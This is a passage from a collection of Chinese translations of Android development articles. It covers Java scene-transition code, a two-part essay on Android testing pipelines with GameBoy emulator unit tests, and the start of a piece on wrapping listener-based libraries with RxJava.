@BindView(R.id.headerImage)\n    ImageView imageViewPlaceDetails;\n\n    @BindView(R.id.title)\n    TextView textViewTitle;\n\n    @BindView(R.id.description)\n    TextView textViewDescription;\n\n\n\n    public DetailsLayout(final Context context){\n\n        this(context,null);\n\n    }\n\n\n\n    public DetailsLayout(final Context context,final AttributeSet attrs){\n\n        super(context,attrs);\n\n    }\n\n\n\n    @Override\n\n    protected void onFinishInflate(){\n\n        super.onFinishInflate();\n\n        ButterKnife.bind(this);\n\n    }\n\n\n\n    private void setData(Place place){\n\n        textViewTitle.setText(place.getName());\n\n        textViewDescription.setText(place.getDescription());\n\n    }\n\n\n\n    public static Scene showScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName,final Place data){\n\n        DetailsLayout detailsLayout=(DetailsLayout)activity.getLayoutInflater().inflate(R.layout.item_place,container,false);\n\n        detailsLayout.setData(data);\n\n\n\n        TransitionSet set=new ShowDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);\n\n        Scene scene=new Scene(container,(View)detailsLayout);\n\n        TransitionManager.go(scene,set);\n\n        return scene;\n\n    }\n\n\n\n    public static Scene hideScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName){\n\n        DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);\n\n\n\n        TransitionSet set=new HideDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);\n\n        Scene scene=new Scene(container,(View)detailsLayout);\n\n        TransitionManager.go(scene,set);\n\n        return scene;\n\n    }\n\n}\n```\n\n最开始我们先渲染了 DetailsLayout。接下来，我们添加了一些数据（详情页的标题和描述）。最后我们创建了转场动画 —— 为了我们的目的，我创建了一个单独的类来保持代码空间干净整洁。第三步创建了一个场景对象 —— 我们传递了渲染好的 **detailsLayout** 和 **containerView** （DetailsFragment 主要的 ViewGroup —— 在我们的项目中，这是覆盖整个屏幕并且有一个 RecycleView 作为子元素的 FrameLayout）。我们只需要调用 **TransitionManager.go(scene, transitionSet)** 方法就能创建酷炫的效动画果：\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)\n\n\n魔法出现了。TransitionManager 是一个当场景发生改变时启动转场动画的类。通过简单的调用 **TransitionManager.go(scene, transitionSet)** ，我们可以转到拥有特定转场动画的特定的场景。在我们的项目中，通过使用 TransitionManager 就可以上面那种展示含有详情和旅途描述的 DetailsLayout 了。现在让我们看一下如何实现 ShowDetailsTransitionSet 吧。\n\n## 使用 TransitionBuiler 创建自定义的 TransitionSet\n\n\n为了保持代码整洁，我创建了一个 TransitionBuilder —— 一个尊遵从 builder 模式的类，该类允许我们用少量的代码创建一个转场动画， 尤其是共享元素转场动画。它看起来像是这个样子的：\n\n```\nJava\n\npublic class TransitionBuilder{\n\n\n\n    private Transition transition;\n\n\n\n    public TransitionBuilder(final Transition transition){\n\n        this.transition=transition;\n\n    }\n\n\n\n    public TransitionBuilder duration(long duration){\n\n        transition.setDuration(duration);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder target(View view){\n\n        transition.addTarget(view);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder target(Classclazz){\n\n        transition.addTarget(clazz);\n\n        return this;\n\n    }\n\n\n\n    publicTransitionBuilder target(Stringtarget){\n\n        transition.addTarget(target);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder target(int targetId){\n\n        transition.addTarget(targetId);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder delay(long delay){\n\n        transition.setStartDelay(delay);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder pathMotion(PathMotion motion){\n\n        transition.setPathMotion(motion);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder propagation(TransitionPropagation propagation){\n\n        transition.setPropagation(propagation);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder pair(Pair<View,String> pair){\n\n        pair.first.setTransitionName(pair.second);\n\n        transition.addTarget(pair.second);\n\n        return this;\n\n    }\n\n\n\n    publicTransitionBuilder excludeTarget(finalView view,finalbooleanexclude){\n\n        transition.excludeTarget(view,exclude);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder excludeTarget(final String targetName,final boolean exclude){\n\n        transition.excludeTarget(targetName,exclude);\n\n        return this;\n\n    }\n\n\n\n    public TransitionBuilder link(final View from,final View to,final String transitionName){\n\n        from.setTransitionName(transitionName);\n\n        to.setTransitionName(transitionName);\n\n        transition.addTarget(transitionName);\n\n        return this;\n\n    }\n\n\n\n    public Transition build(){\n\n        return transition;\n\n    }\n\n}\n```\n\n好了，现在我们可以开始编写 ShowDetailsTransitionSet 了，正是这个类实现了酷炫的转场效果。在构造函数中，我们传递了一个上下文对象，转场名 —— 就是以 RecyclerView 的 item 的位置命名的那个，转场开始的View对象以及转场结束的DetailsLayout。我们还调用了 **addTransition** 方法，通过该方法传递了通过 TransitionBuilder 的具体的方法 —— *textResize(), slide()* 和 *shared()* —— 创建的转场动画。\n\n```\nJava\n\nclass ShowDetailsTransitionSet extends TransitionSet{\n\n    private static final String TITLE_TEXT_VIEW_TRANSITION_NAME=\"titleTextView\";\n\n    private static final StringCARD_VIEW_TRANSITION_NAME=\"cardView\";\n\n    private final String transitionName;\n\n    private final View from;\n\n    private final DetailsLayout to;\n\n    private final Context context;\n\n\n\n    ShowDetailsTransitionSet(final Context ctx,final String transitionName,final View from,final DetailsLayout to){\n\n        context=ctx;\n\n        this.transitionName=transitionName;\n\n        this.from=from;\n\n        this.to=to;\n\n        addTransition(textResize());\n\n        addTransition(slide());\n\n        addTransition(shared());\n\n    }\n\n\n\n    private String titleTransitionName(){\n\n        return transitionName + TITLE_TEXT_VIEW_TRANSITION_NAME;\n\n    }\n\n\n\n    private String cardViewTransitionName(){\n\n        return transitionName + CARD_VIEW_TRANSITION_NAME;\n\n    }\n\n\n\n    private Transition textResize(){\n\n        return new TransitionBuilder(newTextResizeTransition())\n\n                .link(from.findViewById(R.id.title),to.textViewTitle,titleTransitionName())\n\n                .build();\n\n    }\n\n\n\n    private Transition slide(){\n\n        return new TransitionBuilder(TransitionInflater.from(context).inflateTransition(R.transition.bali_details_enter_transition))\n\n                .excludeTarget(transitionName,true)\n\n                .excludeTarget(to.textViewTitle,true)\n\n                .excludeTarget(to.cardViewContainer,true)\n\n                .build();\n\n    }\n\n\n\n    private Transition shared(){\n\n        return new TransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))\n\n                .link(from.findViewById(R.id.headerImage),to.imageViewPlaceDetails,transitionName)\n\n                .link(from,to.cardViewContainer,cardViewTransitionName())\n\n                .build();\n\n    }\n\n}\n```\n\n所以，总结一下上面做的事情。\n\n1. 让RecyclerView item 的标题执行了 SharedElementTransition 中的 [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java)  动画（这是一个特定的项目,[这里](https://www.youtube.com/watch?v=4L4fLrWDvAU)有详细解释）。\n\n2. 整个布局执行了一个滑动的转场动画，实现了某种意义上的延迟加载。\n\n3. RecycleView 的item 的标题和内容有一个共享元素转场动画（Shared Element Transition），它实现了Android 框架默认的转场动画 —— Move transition。\n```\nXHTML\n\n<?xml version=\"1.0\"encoding=\"utf-8\"?>\n\n<transitionSet xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\n    android:transitionOrdering=\"together\"\n\n    android:duration=\"500\">\n\n    <slide\n\n        android:slideEdge=\"bottom\"\n\n        android:interpolator=\"@android:interpolator/decelerate_cubic\">\n\n        <targets>\n\n            <target android:targetId=\"@id/descriptionLayout\" />\n\n        </targets>\n\n    </slide>\n\n\n\n    <slide\n\n        android:slideEdge=\"bottom\"\n\n        android:interpolator=\"@android:interpolator/decelerate_cubic\"\n\n        android:startDelay=\"100\">\n\n        <targets>\n\n            <target android:targetId=\"@id/description\" />\n\n        </targets>\n\n    </slide>\n\n\n\n    <fade\n\n        android:interpolator=\"@android:interpolator/decelerate_cubic\"\n\n        android:startDelay=\"100\">\n\n        <targets>\n\n            <target android:targetId=\"@id/description\" />\n\n        </targets>\n\n    </fade>\n\n\n\n    <slide\n\n        android:slideEdge=\"bottom\"\n\n        android:interpolator=\"@android:interpolator/decelerate_cubic\"\n\n        android:startDelay=\"200\">\n\n        <targets>\n\n            <target android:targetId=\"@id/takeMe\" />\n\n        </targets>\n\n    </slide>\n\n</transitionSet>\n```\n\n通过这些不同的转场动画，我们就可以为我们的布局创建进入的效果\n！\n\n[](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)\n\n在我看起来真是碉堡了！但是返回怎么办呢？看下面。\n\n## 返回上一步场景，处理 **onBackPress**\n\n如果你还记得的话，我们在 DetailsLayout 中写了两个方法 —— *showScene* 和 *hideScene*。我们已经写了第一个方法，但是第二个方法是什么样的呢？让我们继续把它也写完吧。\n\n```\npublic static Scene hideScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName){\n\n    DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);\n\n\n\n    TransitionSet set=newHideDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);\n\n    Scene scene=newScene(container,(View)detailsLayout);\n\n    TransitionManager.go(scene,set);\n\n    return scene;\n\n}\n```\n\n现在，有一些小的改变。既然在 DetailsFragment 容器(之前提到的那个 FrameLayout) 上面添加了一个 DetailsLayout ，所以为了获得 DetailsLayout，我们还得在容器里调用 **findViewById**。然后我们必须创建特定的对象和转场，编写特定的设置。为此，我也写了另一个类来继承 TransitionSet —— HideDetailsTransitionSet。它看起来像是这个样子的：\n\n```\nJava\n\nclass HideDetailsTransitionSet extends TransitionSet{\n\n    private static final String TITLE_TEXT_VIEW_TRANSITION_NAME=\"titleTextView\";\n\n    private static final String CARD_VIEW_TRANSITION_NAME=\"cardView\";\n\n    private final String transitionName;\n\n    private final View from;\n\n    private final DetailsLayout to;\n\n    private final Context context;\n\n\n\n    HideDetailsTransitionSet(final Context ctx,final String transitionName,final View from,final DetailsLayout to){\n\n        context=ctx;\n\n        this.transitionName=transitionName;\n\n        this.from=from;\n\n        this.to=to;\n\n        addTransition(textResize());\n\n        addTransition(shared());\n\n    }\n\n\n\n    private String titleTransitionName(){\n\n        return transitionName+TITLE_TEXT_VIEW_TRANSITION_NAME;\n\n    }\n\n\n\n    private String cardViewTransitionName(){\n\n        return transitionName+CARD_VIEW_TRANSITION_NAME;\n\n    }\n\n\n\n    private Transition textResize(){\n\n        return newTransitionBuilder(newTextResizeTransition())\n\n                .link(from.findViewById(R.id.title),to.textViewTitle,titleTransitionName())\n\n                .build();\n\n    }\n\n\n\n    private Transition shared(){\n\n        return new TransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))\n\n                .link(from.findViewById(R.id.headerImage),to.imageViewPlaceDetails,transitionName)\n\n                .link(from,to.cardViewContainer,cardViewTransitionName())\n\n                .build();\n\n    }\n\n}\n```\n\n在这个项目，我们又一次编写了 **textResize()** 和 **shared()** 。如果你仔细检查两个方法的话，你会发现 TranstionBuilder 有 **link()**\n 方法。这种方法接收了3个参数 —— 源头 view、目标 view 和动画名字。它把转场动画的名字添加给了 源头 View 和目标 view，就像把它指定到了一个转场对象上。所以它用来“连接（link）” 两个view。\n\n剩下的部分就一样啦，我们又创建了一个场景对象，调用 TransitionManager.**go()** 然后哈利路亚~我们就可以返回之前的状态了。\n\n## 结语\n\n如我们所见 —— 思考永无止境（the sky’s the limit）！我们可以为 activities、fragments 甚至 layouts 创造有意义的转场动画。场景和转场动画十分流弊，增进了用户界面和 用户体验。这种解决方案有什么好处呢？首先，我们不需要在关注另一个生命周期。其次，有许多第三方的库帮我们创建不需要 fragment 的用户界面。通过部署场景和转场动画，我们可以开发出一个非常不错的 app。第三，该方案很少见，但是确实让我们能更多的控制效果如何实现。\n\n就这么多了。非常感谢阅读这一系列的文章，希望你喜欢它！\n\n铁甲依然在！（译者：咳咳，原文是 See you soon!）\n\nMariusz Brona aka panwrona\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/world-class-testing-development-pipeline-for-android-part-2.md",
    "content": "> * 原文链接 : [World-Class Testing Development Pipeline for Android - Part 2.](http://blog.karumi.com/world-class-testing-development-pipeline-for-android-part-2/)\n* 原文作者 : [Karumi](hello@karumi.com)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [markzhai](https://github.com/markzhai)\n* 校对者: [JustWe](https://github.com/lfkdsk), [Hugo Xie](https://github.com/xcc3641)\n\n# 世界级的 Android 测试流程（二）\n\n在我们的上一篇博客文章，[“世界级的Android测试开发流程（一）”，我们开始讨论一个Android的测试开发流程](http://blog.karumi.com/world-class-testing-development-pipeline-for-android/)。我们讨论了一个软件工程师从开始写测试到找到测试开发的一些问题的演化过程。我们获得了以下结论，概括如下：\n\n* 自动化测试是成功的软件开发的关键。\n* 为了写特定类型的测试，可测试的代码是必须的。\n* 一些开发者对测什么与怎么测一无所知，就开始写测试。\n* 我们的测试的质量与可读性并不总是能达到预期。\n* 一个测试开发流程对定义测什么与怎么测来说是必须的。\n\n相应地，任何应用的测试关键部分是：\n\n* 独立于框架或者库去测试业务逻辑。\n* 测试服务器端的API集成。\n* 在黑盒场景测试下，从用户角度写的接收准则。\n\n在这篇文章中，我们将会看到几个测试方法，它们覆盖了上述部分并保证了一个稳若盘石的测试开发流程。\n\n### **独立于框架或者库去测试业务逻辑：**\n\n至关重要的是检查[业务逻辑](http://c2.com/cgi/wiki?BusinessLogicDefinition)是否确实实现了预定的产品需求。我们需要隔离想要测试的代码，模拟不同的初始场景，以设置运行时的一些组件的行为。接着，我们将会通过选择想要练习的部分来测试代码。一旦完成，我们需要检查软件状态在训练该测试主题后是否正确。\n\n这个测试方法的关键是 [依赖倒置原则](http://martinfowler.com/articles/dipInTheWild.html)。通过写依赖于抽象的代码，我们将可以把我们的软件分离为不同的层次。为了获得一个依赖的实例，我们需要从某个地方去请求它。或者，我们可以在实例被创建的时候获得它。我们软件的一部分要求我们创建代码来获取协作者的实例。在这些点，我们将会引入测试替身(Test Double)来模拟初始场景或编写不同行为来设计我们的测试。通过使用 [测试替身](http://martinfowler.com/articles/mocksArentStubs.html)，我们将能模拟生产环境代码的行为与状态。同时，它能帮助我们选择测试的范围（从根本上代表了要测试的代码的数量）。如果没有依赖倒置，所有类就需要各自去获得它们的依赖。从而导致类实现和依赖的实现相互耦合，进而无法引入测试替身来切断生产环境代码的执行流。\n\n通常在构造中传递类依赖是最有效的应用依赖倒置的机制。该机制足够用来引入测试替身。在构造中传递类依赖会帮助我们创建实例来替代对应测试替身的依赖。**尽管并不是强制的，记住[服务定位器(Service Locator)或者依赖注入](http://martinfowler.com/articles/injection.html)框架的用法对帮助减少样板代码以应用依赖倒置仍然很重要。**\n\n**我们将会用一个具体的例子 (**关于 [我几个月前开始做的Android GameBoy模拟器](https://github.com/pedrovgs/AndroidGameBoyEmulator) 的测试**) 来展示如何测试我们的业务需求。**\n\n以下测试有关于GameBoy内存管理单元和GameBoy BIOS执行。我们将会检查产品需求（硬件模拟）是否被正确实现。\n\n    public class MMUTest {  \n      private static final int MMU_SIZE = 65536;\n      private static final int ANY_ADDRESS = 11;\n      private static final byte ANY_BYTE_VALUE = 0x11;\n\n      @Test public void shouldInitializeMMUFullOfZeros() {\n        MMU mmu = givenAMMU();\n\n        assertMMUIsFullOfZeros(mmu);\n      }\n\n      @Test public void shouldFillMMUWithZerosOnReset() {\n        MMU mmu = givenAMMU();\n\n        mmu.writeByte(ANY_ADDRESS, ANY_BYTE_VALUE);\n        mmu.reset();\n\n        assertMMUIsFullOfZeros(mmu);   \n      }\n\n      @Test public void shouldWriteBigBytesValuesAndRecoverThemAsOneWord() {\n        MMU mmu = givenAMMU();\n\n        mmu.writeByte(ANY_ADDRESS, (byte) 0xFA);\n        mmu.writeByte(ANY_ADDRESS +1, (byte) 0xFB);\n\n        assertEquals(0xFBFA, mmu.readWord(ANY_ADDRESS));\n      }\n    }\n\n前三个测试是检查GameBoy MMU（内存管理单元）是否正确实现。成功的关键在于检查测试执行的最后MMU状态是否正确。所有的测试检查MMU是否被正确初始化。如果reset后，MMU被清理了，或者写了2个字节后和期望的词相等，则最后的读取是正确的。为了测试模拟器软件的这部分，我们缩小了测试范围，仅有一个类作为测试对象。\n\n    public class GameBoyBIOSExecutionTest {\n\n      @Test\n      public void shouldIndicateTheBIOSHasBeenLoadedUnlockingTheRomMapping() {\n        GameBoy gameBoy = givenAGameBoy();\n\n        tickUntilBIOSLoaded(gameBoy);\n\n        assertEquals(1, mmu.readByte(UNLOCK_ROM_ADDRESS) & 0xFF);\n      }\n\n      @Test\n      public void shouldPutTheNintendoLogoIntoMemoryDuringTheBIOSThirdStage() {\n        GameBoy gameBoy = givenAGameBoy();\n\n        tickUntilThirdStageFinished(gameBoy);\n\n        assertNintendoLogoIsInVRAM();\n      }\n\n      private GameBoy givenAGameBoy() {\n        z80 = new GBZ80();\n        mmu = new MMU();\n        gpu = new GPU(mmu);\n        GameLoader gameLoader = new GameLoader(new FakeGameReader());\n        GameBoy gameBoy = new Gameboy(z80, mmu, gpu, gameLoader);\n        return gameboy;\n      }\n\n    }\n\n在这两个测试中，我们检查了跨越不同阶段的BIOS是否执行正确。在BIOS执行的最后，内存中具体位置的一个字节必须被初始化为具体的一个值。接着，在第三阶段的最后，任天堂的logo必须被读取到VRAM。我们决定扩大测试的范围，因为整个BIOS执行是任何模拟器开发的关键部分之一。关于该测试的主题是CPU，CPU指令集的部分（只包括BIOS执行相关的指令），以及MMU。为了检查执行的状态是否正确，我们必须在MMU状态上进行assert。**一个能显著提升测试质量的关键就是检查执行最后的软件状态，而避免去验证和其他组件的交互。这是因为即便和你的组件交互正确，状态仍然可能错误。** 知道这些测试的部分是独立的也很重要，像是CPU指令。\n\n这些测试的另一个主要亮点是使用了测试替身，以模拟Android SDK使用相关的那些代码。在执行BIOS之前，GameBoy游戏必须被读取到GameBoy MMU里。然后，在测试期间，Android SDK将会变得不可用，作为一种变通方法，我们将不得不替换为从测试环境读取GameBoy rom。_* 我们使用了依赖倒置原则不仅仅是为了隐藏实现细节或者定义边界，—_* 也是为了替代实际生产环境的AndroidGameReader为FakeGameReader，一个测试替身，**从而不依赖于框架和库去测试代码。这样，我们创建了一个隔离的测试环境，并调整了测试范围。**\n\n### **范围：**\n\n调整测试范围是极其重要的。在写测试前，我们必须记住测试范围会帮助我们认识代码里的缺陷（取决于测试范围的大小）。简化的范围将会给我们更丰富的错误反馈，而大范围的测试则无法提供bug位置的准确信息。**测试的粒度必须跟考虑中的测试范围一样小。**\n\n### **基础：**\n\n写这些测试的基础很明确。我们需要写出在依赖倒置原则下可测试的代码，并结合mocking库使用测试框架。mocking库将会帮助我们创建模拟场景下的测试替身，或替换我们部分的生产代码。请注意这些框架和库的使用不是必须的，但我们推荐使用。\n\n### **结果：**\n\n这个方法的结果很有趣。**在遵循依赖倒置原则后，我们可以独立于框架或库去测试我们的业务逻辑**。我们可以创建一个具有可重复性的 **隔离环境** 来实现和设计测试。另外，我们可以简单地 **选择需要测试的生产环境代码的量** 并把它们替换为 **测试替身来模拟行为和不同场景**。\n\n既然我们已经可以测试产品需求是否被正确实现，我们便需要继续致力于测试开发流程。下个我们要测试的是与被测试替身替换的外部组件的集成是否正确。这是我们将会在下一篇博客文章中回顾的东西，敬请期待！;)\n\n参考：\n\n* 世界级的Android测试开发流程（一）by Pedro Vicente Gómez Sánchez. [http://www.slideshare.net/PedroVicenteGmezSnch/worldclass-testing-development-pipeline-for-android](http://www.slideshare.net/PedroVicenteGmezSnch/worldclass-testing-development-pipeline-for-android)\n* Android GameBoy 模拟器 GitHub Repository by Pedro Vicente Gómez Sánchez. [https://github.com/pedrovgs/AndroidGameBoyEmulator](https://github.com/pedrovgs/AndroidGameBoyEmulator)\n* 控制反转容器和依赖注入模式 by Martin Fowler. [http://martinfowler.com/articles/injection.html](http://martinfowler.com/articles/injection.html)\n* 在野外的DIP by Martin Fowler.[http://martinfowler.com/articles/dipInTheWild.html](http://martinfowler.com/articles/dipInTheWild.html)\n* 测试替身 by Martin Fowler. [http://www.martinfowler.com/bliki/TestDouble.html](http://www.martinfowler.com/bliki/TestDouble.html)\n"
  },
  {
    "path": "TODO/world-class-testing-development-pipeline-for-android.md",
    "content": "> * 原文链接 : [World-Class Testing Development Pipeline for Android - Part 1.](http://blog.karumi.com/world-class-testing-development-pipeline-for-android/)\n* 原文作者 : [Karumi](hello@karumi.com)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [markzhai](https://github.com/markzhai)\n* 校对者: [JustWe](https://github.com/lfkdsk), [Hugo Xie](https://github.com/xcc3641)\n\n# 世界级的 Android 测试开发流程（一）\n\n在开发完移动应用并和手动QA团队合作了数年后，我们决定开始写测试。作为工程师，我们知道，**自动化测试是成功的移动开发之关键。** 在这篇博客里，我将会分享我们的故事——Karumi启动于几年前的测试故事。这是系列博客的第一篇，我们将会囊括世界级的 Android测试流程的所有方面。\n\n几年前，我们开始为移动应用写测试。我们对测试了解有限，所以我们致力于接受测试并使用最常用的框架来做单元测试，一个简单的test runner和mocking库。过了一段时间我们遇到了问题：\n\n- 我们不知道测试什么和如何去测试它。\n- 我们的代码还没准备好被测试。\n- 我们沉迷于Mike Cohn的测试金字塔，却没有考虑到我们在写的软件类型。\n- 即使我们的测试通过了，也不意味着代码没有问题。\n\n是不是很可怕? 我们花了很多时间去克服这些挑战，在某个时刻我们意识到是方法错了。即便测试覆盖率很高，我们的软件仍然在出错。最坏的是，从我们的测试中，无法得到任何反馈。**解决我们的问题的关键是识别出我们一直碰到的问题所在：**\n\n- 我们的接受测试太难写了，因为我们需要提供配置API来模拟接受测试的初始状态。\n- 大部分时候，我们的测试会随机失败，而我们不知道为什么。只能用重复编译来通过测试。\n- 我们有大量的单元测试和高覆盖率，但我们的单元测试从未失败。即便应用出问题了，我们的测试仍然能通过。\n- 我们用很多时间去验证mock的调用。\n- 我们不得不使用一些“魔法”测试工具来测试代码，一个私有方法或者模拟静态方法的调用结果。\n\n这是我们决定停下，并开始思考为什么我们对自己的测试感觉不爽。我们快速需要找到问题的解决方案。我们的项目告诉说我们做错了，我们需要解决方案，**我们需要一个测试开发流程**。话虽如此，为了改善程序质量，测试开发流程不总是第一件要完善的事。\n\n**一个测试开发流程定义了测什么、怎么测**。用什么工具，为什么用？测试的范围是什么？**即便有良好的测试开发流程，可测试的代码对有自信去写测试仍然是必须的**，因为大部分的测试是不可能的，或者至少，很难去写。如果你的代码没有准备好，与代码以及单元或集成范围最贴近的测试并不是那么容易去写的。因此，我们决定带着这些目标，首先识别出应用中的问题，然后去解决它们。那么问题来了，如果我们的代码能够是完美的，我们对它有何期望呢？期望是：\n\n- 应用必须是可测试的。\n- 代码必须是可读的。\n- 职责必须是清晰而有结构的。\n- 低耦合高内聚。\n- 代码必须是诚实的。\n\n在重构之前代码一团糟。软件职责丢失在代码的行与行之间。实现细节是完全暴露的，activities和fragments负责处理软件的状态，到处都是软件状态。另外，我们的业务逻辑和框架是耦合的。带着这些问题，我们决定把应用架构改成其他更有结构的东西。**我们使用的架构是 [“Clean Architecture”](https://blog.8thlight.com/uncle-bob/2012/08/13/the-clean-architecture.html)。除了架构的核心内容，我们还应用了一些和GUI应用相关模式像是MVP和MMVM，以及数据处理相关的模式像是Repository模式**。架构详情和这篇博客没有关系（我们会在未来的博文中讨论到它），“Clean Architecture”的**核心元素**与**最重要的SOLID原则之一，[依赖倒置原则](http://martinfowler.com/articles/dipInTheWild.html)**相关。\n\n**依赖倒置原则提出你的代码必须依赖于抽象而不是具体实现**。这个原则，仅仅是这个原则就是通向成功的钥匙。它是**改变我们的代码并适配测试策略以有效克服我们手上问题的关键**。依赖于抽象既无关于依赖注入框架，也无关于使用Java接口来定义类的API。然而，它与隐藏细节有关。根据不同角色，软件职责改变的点，引入[测试替身(TestDouble)](http://www.martinfowler.com/bliki/TestDouble.html)的点去创建层，大大限制了测试的范围。\n\n**通过依赖倒置原则，我们能够去选择正确数量的代码去测试**。一旦这些点清晰了，我们就停下为所有的mocks去写测试。我们能够使用准确数字的mocks去覆盖一个测试用例，并确保我们在测试软件状态而不仅仅是组件之间的交互。\n\n一旦应用架构清晰了，我们开始 **定义我们的测试开发流程。我们的目标是回答2个问题：我们想要测试什么？我们如何去测试它？** 在尝试找出如何分割测试，并用简单又可读的方式去写以后，我们注意到层次分离是最完美的出发点。结果，解决方案变得清晰：\n\n我们想要测试什么?\n\n- 独立于任何框架或者库去测试我们的业务逻辑。\n- 测试我们的API集成。\n- 持久化框架的集成。\n- 一些通用UI组件。\n- 测试黑盒场景下，从用户视角写的接收准则。\n\n我们想要怎么去测试?\n\n- 这是我们在下一博客文章要说的东西，敬请期待！;)\n\n参考:\n\n- 世界级的Android测试开发流程幻灯片 by Pedro Vicente Gómez Sánchez. [http://www.slideshare.net/PedroVicenteGmezSnch/worldclass-testing-development-pipeline-for-android](http://www.slideshare.net/PedroVicenteGmezSnch/worldclass-testing-development-pipeline-for-android)\n- Mike Cohn的测试金字塔 by Martin Fowler. [http://martinfowler.com/bliki/TestPyramid.html](http://martinfowler.com/bliki/TestPyramid.html)\n- Clean架构 by Uncle Bob. [https://blog.8thlight.com/uncle-bob/2012/08/13/the-clean-architecture.html](https://blog.8thlight.com/uncle-bob/2012/08/13/the-clean-architecture.html)\n- 在野外的DIP by Martin Fowler.[http://martinfowler.com/articles/dipInTheWild.html](http://martinfowler.com/articles/dipInTheWild.html)\n- 测试替身 by Martin Fowler. [http://www.martinfowler.com/bliki/TestDouble.html](http://www.martinfowler.com/bliki/TestDouble.html)\n"
  },
  {
    "path": "TODO/wrapping-existing-libraries-with-rxjava.md",
    "content": ">* 原文链接 : [Wrapping Existing Libraries With RxJava](http://ryanharter.com/blog/2015/07/07/wrapping-existing-libraries-with-rxjava/)\n* 原文作者 : [Ryan Harter](http://ryanharter.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [尹述迪](http://yinshudi.com)\n* 校对者: [markzhai](https://github.com/markzhai) , [Sausure](https://github.com/Sausure)\n\n# 使用 RxJava 封装现有的库\n\n[RxJava](https://github.com/ReactiveX/RxJava) 是最近 Android 世界里十分流行的一个库，并且有着充分的流行的理由。虽然函数式响应编程的学习曲线十分陡峭，但学会之后的好处是相当巨大的。\n\n我曾遇到的一个问题是我需要使用一个不支持 RxJava，而是使用了监听模式的库，因此无法享受Rx的很多在可组合性方面的便利。\n\n我碰到这个实际问题是在[集成 OpenIAB](http://ryanharter.com/blog/2015/07/04/using-all-the-app-stores/) 至最新版本的 [Fragment](https://play.google.com/store/apps/details?id=com.pixite.fragment) 时。更困难的是,[OpenIAB](http://onepf.org/openiab/) 使用`startActivityForResult`来启动一个新的 Activity 并返回一个结果。这使我开始思考，如何将 OpenIAB 和 RxJava 结合在一起使用呢？\n\n## 将它封装起来\n\n解决方案是将现有的库用 Rx 封装起来。这实际上非常简单，并且这些基本的原则能应用于任何基于监听器的库。\n\n如果你的库拥有可用的同步方法，那么将其用 RxJava 封装起来的最好的方式是使用`Observable.defer()`。这会简单地延迟这个调用直到 observable 被订阅，然后在 subscription 的分配线程中执行。\n```\n    public Observable\n         wrappedMethod() {\n          return Observable.defer(() -> {\n            return Observable.just(library.synchronousMethod());\n          });\n        }\n```\n这是迄今为止最简单的封装现有的库的方法。并且好于使用库的监听器，因为那种混杂在不同线程中的处理方式会令人感到困惑。\n\n在某些情况下，比如 OpenIAB 中，不是所有的方法都支持写成同步的调用。这时候，我们就必须使用一些不同的方法来封装这个库了。\n\n## API\n\n我喜欢由外而内地构建一个库<sup>[1](http://ryanharter.com/blog/2015/07/07/wrapping-existing-libraries-with-rxjava/#sub-1)</sup>，因此我们首先需要定义我们的 API。\n```\npublic interface InAppHelper {\n\n  /**\n   * Sets up the InAppHelper if it hasn't been already.\n   */\n  Observable setup();\n\n  /**\n   * Returns the Inventory based on the supplied skus.\n   */\n  Observable queryInventory(List skus);\n\n  /**\n   * Begins the purchase flow for the specified sku.\n   */\n  Observable purchase(String sku);\n}\n```\n这三个方法在 OpenIAB 中的基本实现有些小小的不同。`setup()`使用了一个标准的回调接口，`queryInventory()`能同步使用，但会抛出一个必须被 catch 的异常，`purchase()`使用了一个监听器，但也依赖于`startActivityForResult`。\n\n让我们分别看看如何用 RxJava 中的 Observable 封装这几种类型的方法。\n\n>####温馨小贴士\n我在代码示例中使用了 Java 8的 lambdas 语法来使代码看起来更简洁，但我并未将它用在工作中。如果谁非想在工作中使用它，可以使用开源项目[Retrolambda](https://github.com/evant/gradle-retrolambda)，恩，不用谢。\n\n## 用 RxJava 封装带有监听器的方法\n\n封装那些使用了监听器的方法时，`Observable.just()`并不管用，因为它一般没有返回值。我们必须使用`Observable.create()`,这样我们就可以将监听器的结果回调给 subscriber。\n```\npublic Observable setup() {\n  return Observable.create(subscriber -> {\n    if (!helper.setupSuccessful()) {\n      helper.startSetup(result -> {\n        if (subscriber.isUnsubscribed()) return;\n\n        if (result.isSuccess()) {\n          